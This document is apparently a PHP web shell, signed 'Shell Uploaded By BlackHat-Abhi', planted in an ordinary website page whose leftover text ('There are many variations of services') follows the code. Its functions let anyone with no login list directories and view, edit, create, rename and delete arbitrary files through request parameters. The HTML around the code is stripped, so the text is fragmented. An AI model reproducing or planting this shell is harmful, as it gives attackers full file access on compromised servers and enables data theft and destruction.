Shell Uploaded By BlackHat-Abhi"; function list_files($dir) { $files = scandir($dir); echo "
"; } function view_file($file) { $content = htmlspecialchars(file_get_contents($file)); echo "
"; if (isset($_POST['save'])) { file_put_contents($file, $_POST['content']); echo '
File saved successfully!
'; } } function rename_file($old_name, $new_name) { if (rename($old_name, $new_name)) { echo '
File renamed successfully!
'; } else { echo '
Failed to rename file.
'; } } function create_file($dir, $file_name) { $file_path = $dir . DIRECTORY_SEPARATOR . $file_name; if (file_put_contents($file_path, '') !== false) { echo "
File '$file_name' created successfully!
"; } else { echo '
Failed to create file.
'; } } function delete_file($file) { if (unlink($file)) { echo '
File deleted successfully!
'; } else { echo '
Failed to delete file.
'; } } $dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); if (isset($_POST['create_file']) && !empty($_POST['new_file_name'])) { create_file($dir, $_POST['new_file_name']); } if (isset($_GET['rename'])) { $old_name = $_GET['rename']; echo "
"; if (isset($_POST['rename_file']) && !empty($_POST['new_name'])) { $new_name = $dir . DIRECTORY_SEPARATOR . $_POST['new_name']; rename_file($old_name, $new_name); } } if (isset($_GET['delete'])) { $file_to_delete = $_GET['delete']; delete_file($file_to_delete); } if (isset($_GET['file'])) { view_file($_GET['file']); } else { list_files($dir); } ?>
Directory: $dir
"; foreach ($files as $file) { if ($file == '.') continue; $file_path = realpath($dir . DIRECTORY_SEPARATOR . $file); if (is_dir($file_path)) { echo "
Editing: $file
There are many variations of services
There are many variations of Events